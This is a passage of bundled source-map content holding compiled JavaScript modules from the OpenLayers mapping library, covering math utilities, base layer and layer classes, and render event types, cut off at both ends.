Math.log2;\n }\n else {\n // … else, use the reference implementation of MDN:\n log2 = function (x) {\n return Math.log(x) * Math.LOG2E;\n };\n }\n return log2;\n})();\n/**\n * Returns the square of the closest distance between the point (x, y) and the\n * line segment (x1, y1) to (x2, y2).\n * @param {number} x X.\n * @param {number} y Y.\n * @param {number} x1 X1.\n * @param {number} y1 Y1.\n * @param {number} x2 X2.\n * @param {number} y2 Y2.\n * @return {number} Squared distance.\n */\nexport function squaredSegmentDistance(x, y, x1, y1, x2, y2) {\n var dx = x2 - x1;\n var dy = y2 - y1;\n if (dx !== 0 || dy !== 0) {\n var t = ((x - x1) * dx + (y - y1) * dy) / (dx * dx + dy * dy);\n if (t > 1) {\n x1 = x2;\n y1 = y2;\n }\n else if (t > 0) {\n x1 += dx * t;\n y1 += dy * t;\n }\n }\n return squaredDistance(x, y, x1, y1);\n}\n/**\n * Returns the square of the distance between the points (x1, y1) and (x2, y2).\n * @param {number} x1 X1.\n * @param {number} y1 Y1.\n * @param {number} x2 X2.\n * @param {number} y2 Y2.\n * @return {number} Squared distance.\n */\nexport function squaredDistance(x1, y1, x2, y2) {\n var dx = x2 - x1;\n var dy = y2 - y1;\n return dx * dx + dy * dy;\n}\n/**\n * Solves system of linear equations using Gaussian elimination method.\n *\n * @param {Array<Array<number>>} mat Augmented matrix (n x n + 1 column)\n * in row-major order.\n * @return {Array<number>} The resulting vector.\n */\nexport function solveLinearSystem(mat) {\n var n = mat.length;\n for (var i = 0; i < n; i++) {\n // Find max in the i-th column (ignoring i - 1 first rows)\n var maxRow = i;\n var maxEl = Math.abs(mat[i][i]);\n for (var r = i + 1; r < n; r++) {\n var absValue = Math.abs(mat[r][i]);\n if (absValue > maxEl) {\n maxEl = absValue;\n maxRow = r;\n }\n }\n if (maxEl === 0) {\n return null; // matrix is singular\n }\n // Swap max row with i-th (current) row\n var tmp = mat[maxRow];\n mat[maxRow] = mat[i];\n mat[i] = tmp;\n // Subtract the i-th row to make all the remaining rows 0 in the i-th column\n for (var j = i + 1; j < n; j++) {\n var coef = -mat[j][i] / mat[i][i];\n for (var k = i; k < n + 1; k++) {\n if (i == k) {\n mat[j][k] = 0;\n }\n else {\n mat[j][k] += coef * mat[i][k];\n }\n }\n }\n }\n // Solve Ax=b for upper triangular matrix A (mat)\n var x = new Array(n);\n for (var l = n - 1; l >= 0; l--) {\n x[l] = mat[l][n] / mat[l][l];\n for (var m = l - 1; m >= 0; m--) {\n mat[m][n] -= mat[m][l] * x[l];\n }\n }\n return x;\n}\n/**\n * Converts radians to to degrees.\n *\n * @param {number} angleInRadians Angle in radians.\n * @return {number} Angle in degrees.\n */\nexport function toDegrees(angleInRadians) {\n return (angleInRadians * 180) / Math.PI;\n}\n/**\n * Converts degrees to radians.\n *\n * @param {number} angleInDegrees Angle in degrees.\n * @return {number} Angle in radians.\n */\nexport function toRadians(angleInDegrees) {\n return (angleInDegrees * Math.PI) / 180;\n}\n/**\n * Returns the modulo of a / b, depending on the sign of b.\n *\n * @param {number} a Dividend.\n * @param {number} b Divisor.\n * @return {number} Modulo.\n */\nexport function modulo(a, b) {\n var r = a % b;\n return r * b < 0 ? r + b : r;\n}\n/**\n * Calculates the linearly interpolated value of x between a and b.\n *\n * @param {number} a Number\n * @param {number} b Number\n * @param {number} x Value to be interpolated.\n * @return {number} Interpolated value.\n */\nexport function lerp(a, b, x) {\n return a + x * (b - a);\n}\n/**\n * Returns a number with a limited number of decimal digits.\n * @param {number} n The input number.\n * @param {number} decimals The maximum number of decimal digits.\n * @return {number} The input number with a limited number of decimal digits.\n */\nexport function toFixed(n, decimals) {\n var factor = Math.pow(10, decimals);\n return Math.round(n * factor) / factor;\n}\n/**\n * Rounds a number to the nearest integer value considering only the given number\n * of decimal digits (with rounding on the final digit).\n * @param {number} n The input number.\n * @param {number} decimals The maximum number of decimal digits.\n * @return {number} The nearest integer.\n */\nexport function round(n, decimals) {\n return Math.round(toFixed(n, decimals));\n}\n/**\n * Rounds a number to the next smaller integer considering only the given number\n * of decimal digits (with rounding on the final digit).\n * @param {number} n The input number.\n * @param {number} decimals The maximum number of decimal digits.\n * @return {number} The next smaller integer.\n */\nexport function floor(n, decimals) {\n return Math.floor(toFixed(n, decimals));\n}\n/**\n * Rounds a number to the next bigger integer considering only the given number\n * of decimal digits (with rounding on the final digit).\n * @param {number} n The input number.\n * @param {number} decimals The maximum number of decimal digits.\n * @return {number} The next bigger integer.\n */\nexport function ceil(n, decimals) {\n return Math.ceil(toFixed(n, decimals));\n}\n//# sourceMappingURL=math.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/layer/Base\n */\nimport BaseObject from '../Object.js';\nimport LayerProperty from './Property.js';\nimport { abstract } from '../util.js';\nimport { assert } from '../asserts.js';\nimport { assign } from '../obj.js';\nimport { clamp } from '../math.js';\n/**\n * A css color, or a function called with a view resolution returning a css color.\n *\n * @typedef {string|function(number):string} BackgroundColor\n * @api\n */\n/**\n * @typedef {import(\"../ObjectEventType\").Types|'change:extent'|'change:maxResolution'|'change:maxZoom'|\n * 'change:minResolution'|'change:minZoom'|'change:opacity'|'change:visible'|'change:zIndex'} BaseLayerObjectEventTypes\n */\n/***\n * @template Return\n * @typedef {import(\"../Observable\").OnSignature<import(\"../Observable\").EventTypes, import(\"../events/Event.js\").default, Return> &\n * import(\"../Observable\").OnSignature<BaseLayerObjectEventTypes, import(\"../Object\").ObjectEvent, Return> &\n * import(\"../Observable\").CombinedOnSignature<import(\"../Observable\").EventTypes|BaseLayerObjectEventTypes, Return>} BaseLayerOnSignature\n */\n/**\n * @typedef {Object} Options\n * @property {string} [className='ol-layer'] A CSS class name to set to the layer element.\n * @property {number} [opacity=1] Opacity (0, 1).\n * @property {boolean} [visible=true] Visibility.\n * @property {import(\"../extent.js\").Extent} [extent] The bounding extent for layer rendering. The layer will not be\n * rendered outside of this extent.\n * @property {number} [zIndex] The z-index for layer rendering. At rendering time, the layers\n * will be ordered, first by Z-index and then by position. When `undefined`, a `zIndex` of 0 is assumed\n * for layers that are added to the map's `layers` collection, or `Infinity` when the layer's `setMap()`\n * method was used.\n * @property {number} [minResolution] The minimum resolution (inclusive) at which this layer will be\n * visible.\n * @property {number} [maxResolution] The maximum resolution (exclusive) below which this layer will\n * be visible.\n * @property {number} [minZoom] The minimum view zoom level (exclusive) above which this layer will be\n * visible.\n * @property {number} [maxZoom] The maximum view zoom level (inclusive) at which this layer will\n * be visible.\n * @property {BackgroundColor} [background] Background color for the layer. If not specified, no background\n * will be rendered.\n * @property {Object<string, *>} [properties] Arbitrary observable properties. Can be accessed with `#get()` and `#set()`.\n */\n/**\n * @classdesc\n * Abstract base class; normally only used for creating subclasses and not\n * instantiated in apps.\n * Note that with {@link module:ol/layer/Base~BaseLayer} and all its subclasses, any property set in\n * the options is set as a {@link module:ol/Object~BaseObject} property on the layer object, so\n * is observable, and has get/set accessors.\n *\n * @api\n */\nvar BaseLayer = /** @class */ (function (_super) {\n __extends(BaseLayer, _super);\n /**\n * @param {Options} options Layer options.\n */\n function BaseLayer(options) {\n var _this = _super.call(this) || this;\n /***\n * @type {BaseLayerOnSignature<import(\"../events\").EventsKey>}\n */\n _this.on;\n /***\n * @type {BaseLayerOnSignature<import(\"../events\").EventsKey>}\n */\n _this.once;\n /***\n * @type {BaseLayerOnSignature<void>}\n */\n _this.un;\n /**\n * @type {BackgroundColor|false}\n * @private\n */\n _this.background_ = options.background;\n /**\n * @type {Object<string, *>}\n */\n var properties = assign({}, options);\n if (typeof options.properties === 'object') {\n delete properties.properties;\n assign(properties, options.properties);\n }\n properties[LayerProperty.OPACITY] =\n options.opacity !== undefined ? options.opacity : 1;\n assert(typeof properties[LayerProperty.OPACITY] === 'number', 64); // Layer opacity must be a number\n properties[LayerProperty.VISIBLE] =\n options.visible !== undefined ? options.visible : true;\n properties[LayerProperty.Z_INDEX] = options.zIndex;\n properties[LayerProperty.MAX_RESOLUTION] =\n options.maxResolution !== undefined ? options.maxResolution : Infinity;\n properties[LayerProperty.MIN_RESOLUTION] =\n options.minResolution !== undefined ? options.minResolution : 0;\n properties[LayerProperty.MIN_ZOOM] =\n options.minZoom !== undefined ? options.minZoom : -Infinity;\n properties[LayerProperty.MAX_ZOOM] =\n options.maxZoom !== undefined ? options.maxZoom : Infinity;\n /**\n * @type {string}\n * @private\n */\n _this.className_ =\n properties.className !== undefined ? properties.className : 'ol-layer';\n delete properties.className;\n _this.setProperties(properties);\n /**\n * @type {import(\"./Layer.js\").State}\n * @private\n */\n _this.state_ = null;\n return _this;\n }\n /**\n * Get the background for this layer.\n * @return {BackgroundColor|false} Layer background.\n */\n BaseLayer.prototype.getBackground = function () {\n return this.background_;\n };\n /**\n * @return {string} CSS class name.\n */\n BaseLayer.prototype.getClassName = function () {\n return this.className_;\n };\n /**\n * This method is not meant to be called by layers or layer renderers because the state\n * is incorrect if the layer is included in a layer group.\n *\n * @param {boolean} [opt_managed] Layer is managed.\n * @return {import(\"./Layer.js\").State} Layer state.\n */\n BaseLayer.prototype.getLayerState = function (opt_managed) {\n /** @type {import(\"./Layer.js\").State} */\n var state = this.state_ ||\n /** @type {?} */ ({\n layer: this,\n managed: opt_managed === undefined ? true : opt_managed,\n });\n var zIndex = this.getZIndex();\n state.opacity = clamp(Math.round(this.getOpacity() * 100) / 100, 0, 1);\n state.visible = this.getVisible();\n state.extent = this.getExtent();\n state.zIndex = zIndex === undefined && !state.managed ? Infinity : zIndex;\n state.maxResolution = this.getMaxResolution();\n state.minResolution = Math.max(this.getMinResolution(), 0);\n state.minZoom = this.getMinZoom();\n state.maxZoom = this.getMaxZoom();\n this.state_ = state;\n return state;\n };\n /**\n * @abstract\n * @param {Array<import(\"./Layer.js\").default>} [opt_array] Array of layers (to be\n * modified in place).\n * @return {Array<import(\"./Layer.js\").default>} Array of layers.\n */\n BaseLayer.prototype.getLayersArray = function (opt_array) {\n return abstract();\n };\n /**\n * @abstract\n * @param {Array<import(\"./Layer.js\").State>} [opt_states] Optional list of layer\n * states (to be modified in place).\n * @return {Array<import(\"./Layer.js\").State>} List of layer states.\n */\n BaseLayer.prototype.getLayerStatesArray = function (opt_states) {\n return abstract();\n };\n /**\n * Return the {@link module:ol/extent~Extent extent} of the layer or `undefined` if it\n * will be visible regardless of extent.\n * @return {import(\"../extent.js\").Extent|undefined} The layer extent.\n * @observable\n * @api\n */\n BaseLayer.prototype.getExtent = function () {\n return /** @type {import(\"../extent.js\").Extent|undefined} */ (this.get(LayerProperty.EXTENT));\n };\n /**\n * Return the maximum resolution of the layer.\n * @return {number} The maximum resolution of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.getMaxResolution = function () {\n return /** @type {number} */ (this.get(LayerProperty.MAX_RESOLUTION));\n };\n /**\n * Return the minimum resolution of the layer.\n * @return {number} The minimum resolution of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.getMinResolution = function () {\n return /** @type {number} */ (this.get(LayerProperty.MIN_RESOLUTION));\n };\n /**\n * Return the minimum zoom level of the layer.\n * @return {number} The minimum zoom level of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.getMinZoom = function () {\n return /** @type {number} */ (this.get(LayerProperty.MIN_ZOOM));\n };\n /**\n * Return the maximum zoom level of the layer.\n * @return {number} The maximum zoom level of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.getMaxZoom = function () {\n return /** @type {number} */ (this.get(LayerProperty.MAX_ZOOM));\n };\n /**\n * Return the opacity of the layer (between 0 and 1).\n * @return {number} The opacity of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.getOpacity = function () {\n return /** @type {number} */ (this.get(LayerProperty.OPACITY));\n };\n /**\n * @abstract\n * @return {import(\"../source/Source.js\").State} Source state.\n */\n BaseLayer.prototype.getSourceState = function () {\n return abstract();\n };\n /**\n * Return the visibility of the layer (`true` or `false`).\n * @return {boolean} The visibility of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.getVisible = function () {\n return /** @type {boolean} */ (this.get(LayerProperty.VISIBLE));\n };\n /**\n * Return the Z-index of the layer, which is used to order layers before\n * rendering. The default Z-index is 0.\n * @return {number} The Z-index of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.getZIndex = function () {\n return /** @type {number} */ (this.get(LayerProperty.Z_INDEX));\n };\n /**\n * Sets the background color.\n * @param {BackgroundColor} [opt_background] Background color.\n */\n BaseLayer.prototype.setBackground = function (opt_background) {\n this.background_ = opt_background;\n this.changed();\n };\n /**\n * Set the extent at which the layer is visible. If `undefined`, the layer\n * will be visible at all extents.\n * @param {import(\"../extent.js\").Extent|undefined} extent The extent of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.setExtent = function (extent) {\n this.set(LayerProperty.EXTENT, extent);\n };\n /**\n * Set the maximum resolution at which the layer is visible.\n * @param {number} maxResolution The maximum resolution of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.setMaxResolution = function (maxResolution) {\n this.set(LayerProperty.MAX_RESOLUTION, maxResolution);\n };\n /**\n * Set the minimum resolution at which the layer is visible.\n * @param {number} minResolution The minimum resolution of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.setMinResolution = function (minResolution) {\n this.set(LayerProperty.MIN_RESOLUTION, minResolution);\n };\n /**\n * Set the maximum zoom (exclusive) at which the layer is visible.\n * Note that the zoom levels for layer visibility are based on the\n * view zoom level, which may be different from a tile source zoom level.\n * @param {number} maxZoom The maximum zoom of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.setMaxZoom = function (maxZoom) {\n this.set(LayerProperty.MAX_ZOOM, maxZoom);\n };\n /**\n * Set the minimum zoom (inclusive) at which the layer is visible.\n * Note that the zoom levels for layer visibility are based on the\n * view zoom level, which may be different from a tile source zoom level.\n * @param {number} minZoom The minimum zoom of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.setMinZoom = function (minZoom) {\n this.set(LayerProperty.MIN_ZOOM, minZoom);\n };\n /**\n * Set the opacity of the layer, allowed values range from 0 to 1.\n * @param {number} opacity The opacity of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.setOpacity = function (opacity) {\n assert(typeof opacity === 'number', 64); // Layer opacity must be a number\n this.set(LayerProperty.OPACITY, opacity);\n };\n /**\n * Set the visibility of the layer (`true` or `false`).\n * @param {boolean} visible The visibility of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.setVisible = function (visible) {\n this.set(LayerProperty.VISIBLE, visible);\n };\n /**\n * Set Z-index of the layer, which is used to order layers before rendering.\n * The default Z-index is 0.\n * @param {number} zindex The z-index of the layer.\n * @observable\n * @api\n */\n BaseLayer.prototype.setZIndex = function (zindex) {\n this.set(LayerProperty.Z_INDEX, zindex);\n };\n /**\n * Clean up.\n */\n BaseLayer.prototype.disposeInternal = function () {\n if (this.state_) {\n this.state_.layer = null;\n this.state_ = null;\n }\n _super.prototype.disposeInternal.call(this);\n };\n return BaseLayer;\n}(BaseObject));\nexport default BaseLayer;\n//# sourceMappingURL=Base.js.map","/**\n * @module ol/render/EventType\n */\n/**\n * @enum {string}\n */\nexport default {\n /**\n * Triggered before a layer is rendered.\n * @event module:ol/render/Event~RenderEvent#prerender\n * @api\n */\n PRERENDER: 'prerender',\n /**\n * Triggered after a layer is rendered.\n * @event module:ol/render/Event~RenderEvent#postrender\n * @api\n */\n POSTRENDER: 'postrender',\n /**\n * Triggered before layers are composed. When dispatched by the map, the event object will not have\n * a `context` set. When dispatched by a layer, the event object will have a `context` set. Only\n * WebGL layers currently dispatch this event.\n * @event module:ol/render/Event~RenderEvent#precompose\n * @api\n */\n PRECOMPOSE: 'precompose',\n /**\n * Triggered after layers are composed. When dispatched by the map, the event object will not have\n * a `context` set. When dispatched by a layer, the event object will have a `context` set. Only\n * WebGL layers currently dispatch this event.\n * @event module:ol/render/Event~RenderEvent#postcompose\n * @api\n */\n POSTCOMPOSE: 'postcompose',\n /**\n * Triggered when rendering is complete, i.e. all sources and tiles have\n * finished loading for the current viewport, and all tiles are faded in.\n * The event object will not have a `context` set.\n * @event module:ol/render/Event~RenderEvent#rendercomplete\n * @api\n */\n RENDERCOMPLETE: 'rendercomplete',\n};\n/**\n * @typedef {'postrender'|'precompose'|'postcompose'|'rendercomplete'} MapRenderEventTypes\n */\n/**\n * @typedef {'postrender'|'prerender'} LayerRenderEventTypes\n */\n//# sourceMappingURL=EventType.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/layer/Layer\n */\nimport BaseLayer from './Base.js';\nimport EventType from '../events/EventType.js';\nimport LayerProperty from './Property.js';\nimport RenderEventType from '../render/EventType.js';\nimport { assert } from '../asserts.js';\nimport { assign } from '../obj.js';\nimport { listen, unlistenByKey } from '../events.js';\n/**\n * @typedef {function(import(\"../PluggableMap.js\").FrameState):HTMLElement} RenderFunction\n */\n/***\n * @template Return\n * @typedef {import(\"../Observable\").OnSignature<import(\"../Observable\").EventTypes, import(\"../events/Event.js\").default, Return> &\n * import(\"../Observable\").OnSignature<import(\"./Base\").BaseLayerObjectEventTypes|\n * 'change:source', import(\"../Object\").ObjectEvent, Return> &\n * import(\"../Observable\").OnSignature<import(\"../render/EventType\").LayerRenderEventTypes, import(\"../render/Event\").default, Return> &\n * import(\"../Observable\").CombinedOnSignature<import(\"../Observable\").EventTypes|import(\"./Base\").BaseLayerObjectEventTypes|'change:source'|\n * import(\"../render/EventType\").LayerRenderEventTypes, Return>} LayerOnSignature\n */\n/**\n * @template {import(\"../source/Source.js\").default} [SourceType=import(\"../source/Source.js\").default]\n * @typedef {Object} Options\n * @property {string} [className='ol-layer'] A CSS class name to set to the layer element.\n * @property {number} [opacity=1] Opacity (0, 1).\n * @property {boolean} [visible=true] Visibility.\n * @property {import(\"../extent.js\").Extent} [extent] The bounding extent for layer rendering. The layer will not be\n * rendered outside of this extent.\n * @property {number} [zIndex] The z-index for layer rendering. At rendering time, the layers\n * will be ordered, first by Z-index and then by position. When `undefined`, a `zIndex` of 0 is assumed\n * for layers that are added to the map's `layers` collection, or `Infinity` when the layer's `setMap()`\n * method was used.\n * @property {number} [minResolution] The minimum resolution (inclusive) at which this layer will be\n * visible.\n * @property {number} [maxResolution] The maximum resolution (exclusive) below which this layer will\n * be visible.\n * @property {number} [minZoom] The minimum view zoom level (exclusive) above which this layer will be\n * visible.\n * @property {number} [maxZoom] The maximum view zoom level (inclusive) at which this layer will\n * be visible.\n * @property {SourceType} [source] Source for this layer. If not provided to the constructor,\n * the source can be set by calling {@link module:ol/layer/Layer~Layer#setSource layer.setSource(source)} after\n * construction.\n * @property {import(\"../PluggableMap.js\").default|null} [map] Map.\n * @property {RenderFunction} [render] Render function. Takes the frame state as input and is expected to return an\n * HTML element. Will overwrite the default rendering for the layer.\n * @property {Object<string, *>} [properties] Arbitrary observable properties. Can be accessed with `#get()` and `#set()`.\n */\n/**\n * @typedef {Object} State\n * @property {import(\"./Layer.js\").default} layer Layer.\n * @property {number} opacity Opacity, the value is rounded to two digits to appear after the decimal point.\n * @property {boolean} visible Visible.\n * @property {boolean} managed Managed.\n * @property {import(\"../extent.js\").Extent} [extent] Extent.\n * @property {number} zIndex ZIndex.\n * @property {number} maxResolution Maximum resolution.\n * @property {number} minResolution Minimum resolution.\n * @property {number} minZoom Minimum zoom.\n * @property {number} maxZoom Maximum zoom.\n */\n/**\n * @classdesc\n * Base class from which all layer types are derived. This should only be instantiated\n * in the case where a custom layer is added to the map with a custom `render` function.\n * Such a function can be specified in the `options` object, and is expected to return an HTML element.\n *\n * A visual representation of raster or vector map data.\n * Layers group together those properties that pertain to how the data is to be\n * displayed, irrespective of the source of that data.\n *\n * Layers are usually added to a map with {@link import(\"../PluggableMap.js\").default#addLayer map.addLayer()}. Components\n * like {@link module:ol/interaction/Draw~Draw} use unmanaged layers\n * internally. These unmanaged layers are associated with the map using\n * {@link module:ol/layer/Layer~Layer#setMap} instead.\n *\n * A generic `change` event is fired when the state of the source changes.\n *\n * Please note that for performance reasons several layers might get rendered to\n * the same HTML element, which will cause {@link import(\"../PluggableMap.js\").default#forEachLayerAtPixel map.forEachLayerAtPixel()} to\n * give false positives. To avoid this, apply different `className` properties to the\n * layers at creation time.\n *\n * @fires import(\"../render/Event.js\").RenderEvent#prerender\n * @fires import(\"../render/Event.js\").RenderEvent#postrender\n *\n * @template {import(\"../source/Source.js\").default} [SourceType=import(\"../source/Source.js\").default]\n * @template {import(\"../renderer/Layer.js\").default} [RendererType=import(\"../renderer/Layer.js\").default]\n * @api\n */\nvar Layer = /** @class */ (function (_super) {\n __extends(Layer, _super);\n /**\n * @param {Options<SourceType>} options Layer options.\n */\n function Layer(options) {\n var _this = this;\n var baseOptions = assign({}, options);\n delete baseOptions.source;\n _this = _super.call(this, baseOptions) || this;\n /***\n * @type {LayerOnSignature<import(\"../events\").EventsKey>}\n */\n _this.on;\n /***\n * @type {LayerOnSignature<import(\"../events\").EventsKey>}\n */\n _this.once;\n /***\n * @type {LayerOnSignature<void>}\n */\n _this.un;\n /**\n * @private\n * @type {?import(\"../events.js\").EventsKey}\n */\n _this.mapPrecomposeKey_ = null;\n /**\n * @private\n * @type {?import(\"../events.js\").EventsKey}\n */\n _this.mapRenderKey_ = null;\n /**\n * @private\n * @type {?import(\"../events.js\").EventsKey}\n */\n _this.sourceChangeKey_ = null;\n /**\n * @private\n * @type {RendererType}\n */\n _this.renderer_ = null;\n /**\n * @protected\n * @type {boolean}\n */\n _this.rendered = false;\n // Overwrite default render method with a custom one\n if (options.render) {\n _this.render = options.render;\n }\n if (options.map) {\n _this.setMap(options.map);\n }\n _this.addChangeListener(LayerProperty.SOURCE, _this.handleSourcePropertyChange_);\n var source = options.source\n ? /** @type {SourceType} */ (options.source)\n : null;\n _this.setSource(source);\n return _this;\n }\n /**\n * @param {Array<import(\"./Layer.js\").default>} [opt_array] Array of layers (to be modified in place).\n * @return {Array<import(\"./Layer.js\").default>} Array of layers.\n */\n Layer.prototype.getLayersArray = function (opt_array) {\n var array = opt_array ? opt_array : [];\n array.push(this);\n return array;\n };\n /**\n * @param {Array<import(\"./Layer.js\").State>} [opt_states] Optional list of layer states (to be modified in place).\n * @return {Array<import(\"./Layer.js\").State>} List of layer states.\n */\n Layer.prototype.getLayerStatesArray = function (opt_states) {\n var states = opt_states ? opt_states : [];\n states.push(this.getLayerState());\n return states;\n };\n /**\n * Get the layer source.\n * @return {SourceType|null} The layer source (or `null` if not yet set).\n * @observable\n * @api\n */\n Layer.prototype.getSource = function () {\n return /** @type {SourceType} */ (this.get(LayerProperty.SOURCE)) || null;\n };\n /**\n * @return {SourceType|null} The source being rendered.\n */\n Layer.prototype.getRenderSource = function () {\n return this.getSource();\n };\n /**\n * @return {import(\"../source/Source.js\").State} Source state.\n */\n Layer.prototype.getSourceState = function () {\n var source = this.getSource();\n return !source ? 'undefined' : source.getState();\n };\n /**\n * @private\n */\n Layer.prototype.handleSourceChange_ = function () {\n this.changed();\n };\n /**\n * @private\n */\n Layer.prototype.handleSourcePropertyChange_ = function () {\n if (this.sourceChangeKey_) {\n unlistenByKey(this.sourceChangeKey_);\n this.sourceChangeKey_ = null;\n }\n var source = this.getSource();\n if (source) {\n this.sourceChangeKey_ = listen(source, EventType.CHANGE, this.handleSourceChange_, this);\n }\n this.changed();\n };\n /**\n * @param {import(\"../pixel\").Pixel} pixel Pixel.\n * @return {Promise<Array<import(\"../Feature\").default>>} Promise that resolves with\n * an array of features.\n */\n Layer.prototype.getFeatures = function (pixel) {\n if (!this.renderer_) {\n return new Promise(function (resolve) { return resolve([]); });\n }\n return this.renderer_.getFeatures(pixel);\n };\n /**\n * @param {import(\"../pixel\").Pixel} pixel Pixel.\n * @return {Uint8ClampedArray|Uint8Array|Float32Array|DataView|null} Pixel data.\n */\n Layer.prototype.getData = function (pixel) {\n if (!this.renderer_ || !this.rendered) {\n return null;\n }\n return this.renderer_.getData(pixel);\n };\n /**\n * In charge to manage the rendering of the layer. One layer type is\n * bounded with one layer renderer.\n * @param {?import(\"../PluggableMap.js\").FrameState} frameState Frame state.\n * @param {HTMLElement} target Target which the renderer may (but need not) use\n * for rendering its content.\n * @return {HTMLElement} The rendered element.\n */\n Layer.prototype.render = function (frameState, target) {\n var layerRenderer = this.getRenderer();\n if (layerRenderer.prepareFrame(frameState)) {\n this.rendered = true;\n return layerRenderer.renderFrame(frameState, target);\n }\n };\n /**\n * Called when a layer is not visible during a map render.\n */\n Layer.prototype.unrender = function () {\n this.rendered = false;\n };\n /**\n * For use inside the library only.\n * @param {import(\"../PluggableMap.js\").default|null} map Map.\n */\n Layer.prototype.setMapInternal = function (map) {\n if (!map) {\n this.unrender();\n }\n this.set(LayerProperty.MAP, map);\n };\n /**\n * For use inside the library only.\n * @return {import(\"../PluggableMap.js\").default|null} Map.\n */\n Layer.prototype.getMapInternal = function () {\n return this.get(LayerProperty.MAP);\n };\n /**\n * Sets the layer to be rendered on top of other layers on a map. The map will\n * not manage this layer in its layers collection, and the callback in\n * {@link module:ol/Map~Map#forEachLayerAtPixel} will receive `null` as layer. This\n * is useful for temporary layers. To remove an unmanaged layer from the map,\n * use `#setMap(null)`.\n *\n * To add the layer to a map and have it managed by the map, use\n * {@link module:ol/Map~Map#addLayer} instead.\n * @param {import(\"../PluggableMap.js\").default|null} map Map.\n * @api\n */\n Layer.prototype.setMap = function (map) {\n if (this.mapPrecomposeKey_) {\n unlistenByKey(this.mapPrecomposeKey_);\n this.mapPrecomposeKey_ = null;\n }\n if (!map) {\n this.changed();\n }\n if (this.mapRenderKey_) {\n unlistenByKey(this.mapRenderKey_);\n this.mapRenderKey_ = null;\n }\n if (map) {\n this.mapPrecomposeKey_ = listen(map, RenderEventType.PRECOMPOSE, function (evt) {\n var renderEvent = \n /** @type {import(\"../render/Event.js\").default} */ (evt);\n var layerStatesArray = renderEvent.frameState.layerStatesArray;\n var layerState = this.getLayerState(false);\n // A layer can only be added to the map once. Use either `layer.setMap()` or `map.addLayer()`, not both.\n assert(!layerStatesArray.some(function (arrayLayerState) {\n return arrayLayerState.layer === layerState.layer;\n }), 67);\n layerStatesArray.push(layerState);\n }, this);\n this.mapRenderKey_ = listen(this, EventType.CHANGE, map.render, map);\n this.changed();\n }\n };\n /**\n * Set the layer source.\n * @param {SourceType|null} source The layer source.\n * @observable\n * @api\n */\n Layer.prototype.setSource = function (source) {\n this.set(LayerProperty.SOURCE, source);\n };\n /**\n * Get the renderer for this layer.\n * @return {RendererType|null} The layer renderer.\n */\n Layer.prototype.getRenderer = function () {\n if (!this.renderer_) {\n this.renderer_ = this.createRenderer();\n }\n return this.renderer_;\n };\n /**\n * @return {boolean} The layer has a renderer.\n */\n Layer.prototype.hasRenderer = function () {\n return !!this.renderer_;\n };\n /**\n * Create a renderer for this layer.\n * @return {RendererType} A layer renderer.\n * @protected\n */\n Layer.prototype.createRenderer = function () {\n return null;\n };\n /**\n * Clean up.\n */\n Layer.prototype.disposeInternal = function () {\n if (this.renderer_) {\n this.renderer_.dispose();\n delete this.renderer_;\n }\n this.setSource(null);\n _super.prototype.disposeInternal.call(this);\n };\n return Layer;\n}(BaseLayer));\n/**\n * Return `true` if the layer is visible and if the provided view state\n * has resolution and zoom levels that are in range of the layer's min/max.\n * @param {State} layerState Layer state.\n * @param {import(\"../View.js\").State} viewState View state.\n * @return {boolean} The layer is visible at the given view state.\n */\nexport function inView(layerState, viewState) {\n if (!layerState.visible) {\n return false;\n }\n var resolution = viewState.resolution;\n if (resolution < layerState.minResolution ||\n resolution >= layerState.maxResolution) {\n return false;\n }\n var zoom = viewState.zoom;\n return zoom > layerState.minZoom && zoom <= layerState.maxZoom;\n}\nexport default Layer;\n//# sourceMappingURL=Layer.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/control/Attribution\n */\nimport Control from './Control.js';\nimport EventType from '../events/EventType.js';\nimport { CLASS_COLLAPSED, CLASS_CONTROL, CLASS_UNSELECTABLE } from '../css.js';\nimport { equals } from '../array.js';\nimport { inView } from '../layer/Layer.js';\nimport { removeChildren, 